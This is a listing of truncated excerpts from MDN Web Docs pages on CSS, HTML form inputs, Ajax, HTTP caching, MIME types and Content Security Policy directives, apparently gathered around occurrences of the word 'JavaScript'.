JavaScript change event to let the user enable/disable the billing fields. HTML <form action="#"> <fieldset id="shipping"> <legend>Shipping address</legend> <input type="text" placeholder="Name"> <input type="text" placeholder="Address"> <input type="text" placeholder="Zip Code"> </fieldset> <br> <fieldset id="billing"> <legend>Billing address</legend> <label for="billing-c...
...g address</legend> <label for="billing-checkbox">Same as shipping address:</label> <input type="checkbox" id="billing-checkbox" checked> <br> <input type="text" placeholder="Name" disabled> <input type="text" placeholder="Address" disabled> <input type="text" placeholder="Zip Code" disabled> </fieldset> </form> CSS input[type="text"]:disabled { background: #ccc; }
JavaScript // Wait for the page to finish loading document.addEventListener('DOMContentLoaded', function () { // Attach `change` event listener to checkbox document.getElementById('billing-checkbox').onchange = toggleBilling; }, false); function toggleBilling() { // Select the billing text fields var billingItems = document.querySelectorAll('#billing input[type="text"]'); // Toggle the billing ...
:indeterminate - CSS: Cascading Style Sheets
ave their HTML indeterminate attribute set to true, radio buttons which are members of a group in which all radio buttons are unchecked, and indeterminate <progress> elements. /* Selects any <input> whose state is indeterminate */ input:indeterminate { background: lime; } Elements targeted by this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by
JavaScript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state Syntax :indeterminate Examples Checkbox & radio button This example applies special styles to the labels associated with indeterminate form fields. HTML <div> <input type="checkbox" id="checkbox"> <label for="checkbox">This label star...
...eckbox & radio button This example applies special styles to the labels associated with indeterminate form fields. ...
:scope - CSS: Cascading Style Sheets
y to explicitly establish a scoped element. When used from a DOM API such as querySelector(), querySelectorAll(), matches(), or Element.closest(), :scope matches the element on which the method was called. Syntax :scope Examples Identity match In this simple example, we demonstrate that using the :scope pseudo-class from the Element.matches() method matches the element on which it's called.
JavaScript let paragraph = document.getElementById("para"); let output = document.getElementById("output"); if (paragraph.matches(":scope")) { output.innerText = "Yep, the element is its own scope as expected!"; } HTML <p id="para"> This is a paragraph. It is not an interesting paragraph. Sorry about that. </p> <p id="output"></p> Result Direct children A situation where the :scope pseudo-class...
...); if (paragraph.matches(":scope")) { output.innerText = "Yep, the element is its own scope as expected!"; } HTML <p id="para"> This is a paragraph. It is not an interesting paragraph. Sorry about that. </p> <p id="output"></p> Result Direct children A situation where the :scope pseudo-class prove to be useful is when you need to get direct descendant of an already retrieved Element. ...
@media - CSS: Cascading Style Sheets
The @media CSS at-rule can be used to apply part of a style sheet based on the result of one or more media queries. With it, you specify a media query and a block of CSS to apply to the document if and only if the media query matches the device on which the content is being used. Note: In
JavaScript, the rules created using @media can be accessed with the CSSMediaRule CSS object model interface. Syntax The @media at-rule may be placed at the top level of your code or nested inside any other conditional group at-rule. /* At the top level of your code */ @media screen and (min-width: 900px) { article { padding: 1rem 3rem; } } /* Nested within another conditional at-rule */ @supports (display: flex) { @media screen and (min-width: 900px) { article { display: flex; } } ...
... prefers-reduced-motion The user prefers less motion on the page Added in Media Queries Level 5. prefers-reduced-transparency The user prefers reduced transparency Added in Media Queries Level 5. resolution Pixel density of the output device scan Scanning process of the output device scripting Detects whether scripting (i.e.
JavaScript) is available Added in Media Queries Level 5. update How frequently the output device can modify the appearance of content Added in Media Queries Level 4. width Width of the viewport including width of scrollbar Accessibility concerns To best accommodate people who adjust a site's text size, use ems when you need a <length> for your media queries. Both e...
Using CSS animations - CSS: Cascading Style Sheets
ations consist of two components, a style describing the CSS animation and a set of keyframes that indicate the start and end states of the animation's style, as well as possible intermediate waypoints. There are three key advantages to CSS animations over traditional script-driven animation techniques: They're easy to use for simple animations; you can create them without even having to know
JavaScript. The animations run well, even under moderate system load. Simple animations can often perform poorly in
JavaScript (unless they're well made). The rendering engine can use frame-skipping and other techniques to keep the performance as smooth as possible. Letting the browser control the animation sequence lets the browser optimize performance and efficiency by, for example, reducing the update ...
...yframes, the width and margin-left are manipulated to make the element slide across the screen. .slidein { animation-duration: 3s; animation-name: slidein; animation-iteration-count: 3; animation-direction: alternate; } @keyframes slidein { from { margin-left:100%; width:300% } to { margin-left:0%; width:100%; } } Adding the animation event listeners We'll use
JavaScript code to listen for all three possible animation events. This code configures our event listeners; we call it when the document is first loaded in order to set things up. var element = document.getElementById("watchme"); element.addEventListener("animationstart", listener, false); element.addEventListener("animationend", listener, false); element.addEventListener("animationiteration", listener, f...
CSS Properties Reference - CSS: Cascading Style Sheets
Common CSS Properties Reference The following is a basic list of the most common CSS properties with the equivalent of the DOM notation which is usually accessed from
JavaScript: Note: This list is incomplete. For more CSS properties see The main CSS reference and Mozilla CSS Extensions. The reference articles also include examples on how to use all the properties. ...
... Common CSS Properties Reference The following is a basic list of the most common CSS properties with the equivalent of the DOM notation which is usually accessed from
JavaScript: Note: This list is incomplete. For more CSS properties see The main CSS reference and Mozilla CSS Extensions. The reference articles also include examples on how to use all the properties. ...
Using media queries - CSS: Cascading Style Sheets
cs and parameters (such as screen resolution or browser viewport width). Media queries are used for the following: To conditionally apply styles with the CSS @media and @import at-rules. To target specific media for the <style>, <link>, <source>, and other HTML elements with the media= attribute. To test and monitor media states using the Window.matchMedia() and MediaQueryList.addListener()
JavaScript methods. Note: The examples on this page use CSS's @media for illustrative purposes, but the basic syntax remains the same for all types of media queries. Syntax A media query is composed of an optional media type and any number of media feature expressions. Multiple queries can be combined in various ways by using logical operators. Media queries are case-insensitive. A media query comput...
... prefers-reduced-motion The user prefers less motion on the page Added in Media Queries Level 5. prefers-reduced-transparency The user prefers reduced transparency Added in Media Queries Level 5. resolution Pixel density of the output device scan Scanning process of the output device scripting Detects whether scripting (i.e.
JavaScript) is available Added in Media Queries Level 5. update How frequently the output device can modify the appearance of content Added in Media Queries Level 4. width Width of the viewport including width of scrollbar Logical operators The logical operators not, and, and only can be used to compose a complex media query. You can also combine multiple media quer...
Media queries - CSS: Cascading Style Sheets
n the <link> element's media attribute, they define the media to which a linked resource (typically CSS) should be applied. In the <source> element's media attribute, they define the media to which that source should be applied. (This is only valid inside <picture> elements.) In the <style> element's media attribute, they define the media to which the style should be applied. Media queries in
JavaScript In
JavaScript, you can use the Window.matchMedia() method to test the window against a media query. You can also use MediaQueryList.addListener() to be notified whenever the state of a query changes. With this functionality, your site or app can respond to changes in the device configuration, orientation, or state. You can learn more about programmatically using media queries in Testing media q...
...rientation, or state. You can learn more about programmatically using media queries in Testing media queries. Reference At-rules @import @media Guides Using media queries Introduces media queries, their syntax, and the operators and media features which are used to construct media query expressions. Testing media queries programmatically Describes how to use media queries in your
JavaScript code to determine the state of a device, and to set up listeners that notify your code when the results of media queries change (such as when the user rotates the screen or resizes the browser). Using Media Queries for Accessibility Learn how Media Queries can help users understand your website better. Specifications Specification Status Comment Media Queries Leve...
Demos of open web technologies
Mozilla supports a wide variety of exciting open web technologies, and we encourage their use. This page offers links to interesting demonstrations of these technologies. If you know of a good demonstration or application of open web technology, please add a link to the appropriate section here. ...
...urce code) Loader with blend modes Text reveal with clip-path Ambient shadow with custom properties Luminiscent vial CSS-based single page application (source code) Transformations Impress.js (source code) Games IoQuake3 (source code) Kai 'Opua (source code) Web APIs Notifications API HTML5 Notifications (source code) Web Audio API Web Audio Fireworks oscope.js -
JavaScript oscilloscope HTML5 Web Audio Showcase (source code) HTML5 Audio Visualizer (source code) Graphical Filter Editor and Visualizer (source code) File API Slide My Text - presentation from plain text files Web Workers Web Worker Fractals Photo editor Coral generator Raytracer HotCold Touch Typing ...
EXSLT
EXSLT modules To use an EXSLT function, you need to declare the namespace the function is in, and then use the appropriate prefix when calling the function. For example, to use the regu...
...l:node-set() exsl:object-type() Math The EXSLT Math package provides functions for working with numeric values and comparing nodes. The namespace for the Math package is http://exslt.org/math. Functions math:highest() math:lowest() math:max() math:min() Regular expressions The EXSLT Regular Expressions package provides functions that allow testing, matching, and replacing text using
JavaScript style regular expressions. The EXSLT Regular Expressions namespace is http://exslt.org/regular-expressions. Functions regexp:match() regexp:replace() regexp:test() Sets The EXSLT Sets package offers functions that let you perform set manipulation. The namespace for these functions is http://exslt.org/sets. Functions set:difference() set:distinct() set:intersection() set:has-sam...
Ajax - Developer guides
Getting Started An introduction to Ajax. Asynchronous
JavaScript and XML, while not a technology in itself, is a term coined in 2005 by Jesse James Garrett, that describes a "new" approach to using a number of existing technologies together, including HTML or XHTML, CSS,
JavaScript, DOM, XML, XSLT, and most importantly the XMLHttpRequest object. When these technologies are combined in the Ajax model, web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page. This makes the application faster and more responsive to user actions. Although X in Ajax stands for XML, JSON is used more than XML nowadays because of its many advantages such as being lighter and a part of
JavaScript. Both JSON and XML are used for packaging inform...
...C-recommended general-purpose markup language for creating special-purpose markup languages. It is a simplified subset of SGML, capable of describing many different kinds of data. Its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the Internet. Parsing and serializing XML How to parse an XML document from a string, a file or via
javascript and how to serialize XML documents to strings,
Javascript Object trees (JXON) or files. XPath XPath stands for XML Path Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an XML document. As well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not. FileReader API The...
Adding captions and subtitles to HTML5 video - Developer guides
heir videos, but they're usually in the SubRip Text (SRT) format. These can be easily converted to WebVTT using an online converter such as srt2vtt. Modifications to the HTML and CSS This section summarises the modifications made to the previous article's code in order to facilitate the addition of subtitles to the video. If you are not interested in this, and just want to get straight into the
JavaScript and more relevant CSS, skip to the Subtitle implementation section. In this example we are using a different video, Sintel, as it actually has some speech in it and therefore is better for illustrating how subtitles work! HTML Markup As mentioned above, we need to make use of the new HTML5 <track> element to add our subtitle files to the HTML5 video. We actually have our subtitles in three d...
...he extra button, but these are relatively straightforward. No image is used for the captions button, so it is simply styled as: .controls button[data-state="subtitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666; background:#000; border-radius:2px; } There are also other CSS changes that are specific to some extra
JavaScript implementation, but these will be mentioned at the appropriate place below. Subtitle implementation A lot of what we do to access the video subtitles revolves around
JavaScript. Similar to the video controls, if a browser supports HTML5 video subtitles, there will be a button provided within the native control set to access them. However, since we have defined our own video controls, this butto...
Media buffering, seeking, and time ranges - Developer guides
0 myAudio.buffered.end(0); // returns 5 myAudio.buffered.start(1); // returns 15 myAudio.buffered.end(1); // returns 19 To try out and visualize buffered time ranges we can write a little bit of HTML: <p> <audio id="my-audio" controls> <source src="music.mp3" type="audio/mpeg"> </audio> </p> <p> <canvas id="my-canvas" width="300" height="20"> </canvas> </p> and a little bit of
JavaScript: window.onload = function(){ var myAudio = document.getElementById('my-audio'); var myCanvas = document.getElementById('my-canvas'); var context = myCanvas.getContext('2d'); context.fillStyle = 'lightgray'; context.fillRect(0, 0, myCanvas.width, myCanvas.height); context.fillStyle = 'red'; context.strokeStyle = 'white'; var inc = myCanvas.width / myAudio.dura...
...ring display: .buffered { height: 20px; position: relative; background: #555; width: 300px; } #buffered-amount { display: block; height: 100%; background-color: #777; width: 0; } .progress { margin-top: -20px; height: 20px; position: relative; width: 300px; } #progress-amount { display: block; height: 100%; background-color: #595; width: 0; } And the following
JavaScript provides our functionality: window.onload = function(){ var myAudio = document.getElementById('my-audio'); myAudio.addEventListener('progress', function() { var duration = myAudio.duration; if (duration > 0) { for (var i = 0; i < myAudio.buffered.length; i++) { if (myAudio.buffered.start(myAudio.buffered.length - 1 - i) < myAudio.currentTime) { do...
HTML5 Parser - Developer guides
nt handlers setTimeout() setInterval() <script async src="..."> <script defer src="..."> If you use the same mechanism for loading script libraries for all browsers including IE, then your code probably will not be affected by this change. Scripts that serve racy code to Firefox, perhaps while serving safe code to IE, will see a difference due to this change. Firefox writes a warning to the
JavaScript console when it ignores a call to document.write(). Lack of Reparsing Prior to HTML5, parsers reparsed the document if they hit the end of the file within certain elements or within comments. For example, if the document lacked a </title> closing tag, the parser would reparse to look for the first '<' in the document, or if a comment was not closed, it would look for the first '>'. This behavio...
...ng </script> by surrounding it with comment markers, while supported by HTML5, is problematic in cases where the closing comment marker is omitted (see preceding point). You can avoid such problems by using the character code for the initial '<' instead. (It is valid to use an escape character, e.g., <\/script>, but this strategy does not work for <script and <!--, because \s and \! are not valid
JavaScript escapes; the character code strategy is more general-purpose.) Inline SVG and MathML support As a completely new parsing feature, HTML5 introduced support for inline SVG and MathML in text/html. This means that you can now use SVG and MathML inline in text/html similarly to what has previously been possible in application/xhtml+xml. <svg>...</svg> is assigned to the SVG namespace in the DOM...
User input and controls - Developer guides
rag & Drop and more. User input and controls workflow The following diagram illustrates the typical workflow for implementing user input mechanisms: First of all, you need to decide which input mechanisms you want to cover in your application out of mouse, keyboard, finger touch and so on. Once you decided the input mechanisms, you can control them using tools offered by the web platform or
JavaScript libraries. Recommendations Available input mechanisms depend on the capabilities of the device running the application: Some devices provide touchscreen displays: the Web Platform offers touch events to interpret finger activity on touch-based user interfaces. For devices providing a mouse/touchpad as a pointing method, the Pointer Lock API helps you in implementing a first person 3D game o...
...able guide. Examples Tracking multiple touch points at a time This example tracks multiple touch points at a time, allowing the user to draw in a <canvas> with more than one finger at a time. It will only work on a browser that supports touch events. Simple pointer lock demo We've written a simple pointer lock demo to show you how to use it to set up a simple control system. The demo uses
JavaScript to draw a ball inside a <canvas> element. When you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. contentEditable demo This is a working example showing how contenteditable can be used to create an editable document section, the state of which is then saved using LocalStorage. Tutorials Touch events Guide Ma...
Writing forward-compatible websites - Developer guides
This page explains how to write websites that do not break when new browser versions are released. This is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke. It's not always possible to follow all of these, but following as many of them as possible will help future-proof your website.
JavaScript Prefix all global variable access in onfoo attributes with "window." When an event handler content attribute (onclick, onmouseover, and so forth) is used on HTML element, all name lookup in the attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are). For example, if you have this m...
...e has been called'); } </script> <div onclick="window.localName()">Clicking me should show an alert<div> Don't concatenate scripts you don't control The "use strict;" directive in ECMAScript, when used on the file level, applies to everything in the file. So appending a script that depends on non-strict-mode behavior to a strict-mode script will cause things to break. Ask the authors of any
JavaScript libraries you use to also follow these guidelines Suggest to the developers of your favorite libraries that they follow these guidelines too. If they don't, you can't rely on that library not breaking in the future. Unfortunately, libraries are common transgressors of these guidelines. Sniffing Sniff for specific features If you plan to use some feature, use object-detection to sniff for that...
HTML attribute: pattern - HTML: Hypertext Markup Language
to the constraints set by the pattern value, the ValidityState object's read-only patternMismatch property will be true. The pattern attribute is an attribute of the text, tel, email, url, password, and search input types. The pattern attribute, when specified, is a regular expression which the input's value must match in order for the value to pass constraint validation. It must be a valid
JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expressi...
... relied upon for accessibility. Constraint validation If the input's value is not the empty string and the value does not match the entire regular expression, there is a from a patternMismatch . The pattern's regular expression, when matched against the value, must have its start anchored to the start of the string and its end anchored to the end of the string, which is slightly different from
JavaScript regular expressions: in the case of pattern attribute, we are matching against the entire value, not just any subset, as if a ^(?: were implied at the start of the pattern and )$ at the end. Examples Given the following: <p> <label>Enter your phone number in the format (123)456-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"...
HTML attribute reference - HTML: Hypertext Markup Language
t from the content (the HTML code) and you can set it or get it via element.setAttribute() or element.getAttribute(). The content attribute is always a string even when the expected value should be an integer. For example, to set an <input> element's maxlength to 42 using the content attribute, you have to call setAttribute("maxlength", "42") on that element. The IDL attribute is also known as a
JavaScript property. These are the attributes you can read or set using
JavaScript properties like element.foo. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes. Most of the ti...
... return the string "text". IDL attributes are not always strings; for example, input.maxlength is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength, it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard
JavaScript rules for type conversion. IDL attributes can reflect other types such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. HTML specifications try to ma...
<a>: The Anchor element - HTML: Hypertext Markup Language
Example painting app with save link HTML <p>Paint by holding down the mouse button and moving it. ...
...actually shorter than the inaccessible version! <p> Learn more <a href="/products">about our products</a>. </p> Assistive software have shortcuts to list all links on a page. However, strong link text benefits all users -- the "list all links" shortcut emulates how sighted users quickly scan pages. onclick events Anchor elements are often abused as fake buttons by setting their href to # or
javascript:void(0) to prevent the page from refreshing, then listening for their click events . These bogus href values cause unexpected behavior when copying/dragging links, opening links in a new tab/window, bookmarking, or when
JavaScript is loading, errors, or is disabled. They also convey incorrect semantics to assistive technologies, like screen readers. Use a <button> instead. In general, you shoul...
<input type="button"> - HTML: Hypertext Markup Language
ing that is used as the button's label. <input type="button" value="Click Me"> If you don't specify a value, you get an empty button: <input type="button"> Using buttons <input type="button"> elements have no default behavior (their cousins, <input type="submit"> and <input type="reset"> are used to submit and reset forms, respectively). To make buttons do anything, you have to write
JavaScript code to do the work. A simple button We'll begin by creating a simple button with a click event handler that starts our machine (well, it toggles the value of the button and the text content of the following paragraph): <form> <input type="button" value="Start machine"> </form> <p>The machine is stopped.</p> const button = document.querySelector('input'); const paragraph = document.querySel...
...Firefox will, unlike other browsers, by default, persist the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature. Validation Buttons don't participate in constraint validation; they have no real value to be constrained. Examples The below example shows a very simple drawing app created using a <canvas> element and some simple CSS and
JavaScript (we'll hide the CSS for brevity). The top two controls allow you to choose the color and size of the drawing pen. The button, when clicked, invokes a function that clears the canvas. <div class="toolbar"> <input type="color" aria-label="select pen color"> <input type="range" min="2" max="50" value="30" aria-label="select pen size"><span class="output">30</span> <input type="button" value="...
<input type="email"> - HTML: Hypertext Markup Language
ddresses (an empty string, or one which is entirely whitespace) is a valid value. In other words, the user does not have to enter even one e-mail address when multiple is specified, regardless of the value of required. pattern The pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. It must be a valid
JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expressi...
... placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See Labels and placeholders in <input>: The Input (Form Input) element for more information. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by
JavaScript code directly setting the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. size The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since charact...
<input type="number"> - HTML: Hypertext Markup Language
placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See Labels and placeholders in <input>: The Input (Form Input) element for more information. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by
JavaScript code directly setting the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. step The step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. Only values which are equal to the basis fo...
...ar to the validation styling we saw before; nothing remarkable here. ...
<input type="reset"> - HTML: Hypertext Markup Language
don't have a value otherwise. <input type="reset" value="Reset the form"> If you don't specify a value, you get an button with the default label (typically "Reset," but this will vary depending on the user agent): <input type="reset"> Using reset buttons <input type="reset"> buttons are used to reset forms. If you want to create a custom button and then customize the behaviour using
JavaScript, you need to use <input type="button">, or better still, a <button> element. A simple reset button We'll begin by creating a simple reset button: <form> <div> <label for="example">Type in some sample text</label> <input id="example" type="text"> </div> <div> <input type="reset" value="Reset the form"> </div> </form> This renders like so: Try entering some text into the...
...ip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes. Disabling and enabling a reset button To disable a reset button, simply specify the disabled global attribute on it, like so: <input type="reset" value="Disabled" disabled> You can enable and disable buttons at run time by simply setting disabled to true or false; in
JavaScript this looks like btn.disabled = true or btn.disabled = false. Note: See the <input type="button"> page for more ideas about enabling and disabling buttons. Validation Buttons don't participate in constraint validation; they have no real value to be constrained. Examples We've included simple examples above. There isn't really anything more to say about reset buttons. Specifications ...
<input type="submit"> - HTML: Hypertext Markup Language
; this is the browsing context that is the topmost ancestor of the current context. If the current context is the topmost context, this behaves the same as _self. This attribute is also available on <input type="image"> and <button> elements. Using submit buttons <input type="submit"> buttons are used to submit forms. If you want to create a custom button and then customize the behavior using
JavaScript, you need to use <input type="button">, or better still, a <button> element. If you choose to use <button> elements to create the buttons in your form, keep this in mind: if there's only one <button> inside the <form>, that button will be treated as the "submit" button. So you should be in the habit of expressly specifying which button is the submit button. A simple submit button We'll begin b...
...to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes. Disabling and enabling a submit button To disable a submit button, simply specify the disabled global attribute on it, like so: <input type="submit" value="Disabled" disabled> You can enable and disable buttons at run time by simply setting disabled to true or false; in
JavaScript this looks like btn.disabled = true or btn.disabled = false. See the <input type="button"> page for more ideas about enabling and disabling buttons. Validation Submit buttons don't participate in constraint validation; they have no real value to be constrained. Examples We've included simple examples above. There isn't really anything more to say about submit buttons. There's a reason this...
<input type="url"> - HTML: Hypertext Markup Language
h. The input will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. pattern The pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. It must be a valid
JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expressi...
... placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See Labels and placeholders in <input>: The Input (Form Input) element for more information. readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed by
JavaScript code directly setting the HTMLInputElement.value property. Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. size The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since charact...
Using the application cache - HTML: Hypertext Markup Language
ication cache available. There is a corresponding updateready event, which is fired instead of the cached event when a new update has been downloaded but not yet activated using the swapCache() method. OBSOLETE The application cache group is now obsolete. Testing for updates to the cache manifest You can programmatically test to see if an application has an updated cache manifest file, using
JavaScript. Since a cache manifest file may have been updated before a script attaches event listeners to test for updates, scripts should always test window.applicationCache.status. function onUpdateReady() { console.log('found new version!'); } window.applicationCache.addEventListener('updateready', onUpdateReady); if(window.applicationCache.status === window.applicationCache.UPDATEREADY) { onUpdateR...
...e.UPDATEREADY) { onUpdateReady(); } To manually start testing for a new manifest file, you can use window.applicationCache.update(). Gotchas Never access cached files by using traditional GET parameters (like other-cached-page.html?parameterName=value). This will make the browser bypass the cache and attempt to get it from network. To link to cached resources that have parameters parsed in
JavaScript use parameters in the hash part of the link, such as other-cached-page.html#whatever?parameterName=value. When applications are cached, simply updating the resources (files) that are used in a web page is not enough to update the files that have been cached. You must update the cache manifest file itself before the browser retrieves and uses the updated files. You can do this programmatically us...
Common MIME types - HTTP
e application/gzip .gif Graphics Interchange Format (GIF) image/gif .htm .html HyperText Markup Language (HTML) text/html .ico Icon format image/vnd.microsoft.icon .ics iCalendar format text/calendar .jar Java Archive (JAR) application/java-archive .jpeg .jpg JPEG images image/jpeg .js
JavaScript text/
javascript, per the following specifications: https://html.spec.whatwg.org/multipage/#scriptingLanguages https://html.spec.whatwg.org/multipage/#dependencies:willful-violation https://datatracker.ietf.org/doc/draft-ietf-dispatch-
javascript-mjs/ .json JSON format application/json .jsonld JSON-LD format application/ld+json ...
...criptingLanguages https://html.spec.whatwg.org/multipage/#dependencies:willful-violation https://datatracker.ietf.org/doc/draft-ietf-dispatch-
javascript-mjs/ .json JSON format application/json .jsonld JSON-LD format application/ld+json .mid .midi Musical Instrument Digital Interface (MIDI) audio/midi audio/x-midi .mjs
JavaScript module text/
javascript .mp3 MP3 audio audio/mpeg .mpeg MPEG Video video/mpeg .mpkg Apple Installer Package application/vnd.apple.installer+xml .odp OpenDocument presentation document application/vnd.oasis.opendocument.presentation .ods OpenDocument spreadsheet document application/vnd.oasis.opendocument.spreadsheet ...
HTTP caching - HTTP
ivate Cache-Control: public Expiration The most important directive here is "max-age=<seconds>" which is the maximum amount of time a resource will be considered fresh. Contrary to Expires, this directive is relative to the time of the request. For the files in the application that will not change, you can usually add aggressive caching. This includes static files such as images, CSS files and
JavaScript files, for example. For more details, see also the Freshness section below. Cache-Control: max-age=31536000 Validation When using the "must-revalidate" directive, the cache must verify the status of the stale resources before using it and expired ones should not be used. For more details, see the Validation section below. Cache-Control: must-revalidate The Pragma header Pragma is a HTTP/1.
... expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages:
JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly. Web developers invented a technique that Steve Souders called revving[1]. Infrequently updated files are named in a specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that never c...
CSP: child-src - HTTP
ilesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows to enable specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method compared to using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' A whitelist ...
... an example. In CSP 2.0 this applied only to inline scripts. CSP 3.0 allows it in the case of script-src for external scripts. Examples Violation cases Given this CSP header: Content-Security-Policy: child-src https://example.com/ This <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedWorker = new Worker("data:application/
javascript,..."); </script> Specifications Specification Status Comment Content Security Policy Level 3The definition of 'child-src' in that specification. Working Draft No changes. Content Security Policy Level 2The definition of 'child-src' in that specification. Recommendation Initial definition. ...
CSP: form-action - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
... in the violation report. Examples Meta tag configuration <meta http-equiv="Content-Security-Policy" content="form-action 'none'"> Apache configuration <IfModule mod_headers.c> Header set Content-Security-Policy "form-action 'none'; </IfModule> Nginx configuration add_header Content-Security-Policy "form-action 'none';" Violation case Using a <form> element with an action set to inline
JavaScript will result in a CSP violation. <meta http-equiv="Content-Security-Policy" content="form-action 'none'"> <form action="
javascript:alert('Foo')" id="form1" method="post"> <input type="text" name="fieldName" value="fieldValue"> <input type="submit" id="submit" value="submit"> </form> // Error: Refused to send form data because it violates the following // Content Security Policy directive: "...
CSP: navigate-to - HTTP
filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
..., any allow-list or source expressions such as 'self' or 'unsafe-inline' are ignored. See script-src for an example. 'report-sample' Requires a sample of the violating code to be included in the violation report. Examples Meta tag configuration <meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"> Violation case Using a <form> element with an action set to inline
JavaScript will result in a CSP violation. <meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"> <form action="
javascript:alert('Foo')" id="form1" method="post"> <input type="text" name="fieldName" value="fieldValue"> <input type="submit" id="submit" value="submit"> </form> Specifications Specification Status Comment Content Security Policy Level 3The defi...
CSP: script-src-attr - HTTP
This includes only inline script event handlers like onclick, but not URLs loaded directly into <script> elements. CSP version 3 Directive type Fetch directive default-src fallback Yes. If this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fallback to default-src directive. ...
...filesystem from source directives. Sites needing to allow these content types can specify them using the Data attribute. 'unsafe-eval' Allows the use of eval() and similar methods for creating code from strings. You must include the single quotes. 'unsafe-hashes' Allows enabling specific inline event handlers. If you only need to allow inline event handlers and not inline <script> elements or
javascript: URLs, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' Allows the use of inline resources, such as inline <script> elements,
javascript: URLs, inline event handlers, and inline <style> elements. The single quotes are required. 'none' Refers to the empty set; that is, no URLs match. The single quotes are required. 'nonce-<base64-value>' An allow-list for speci...
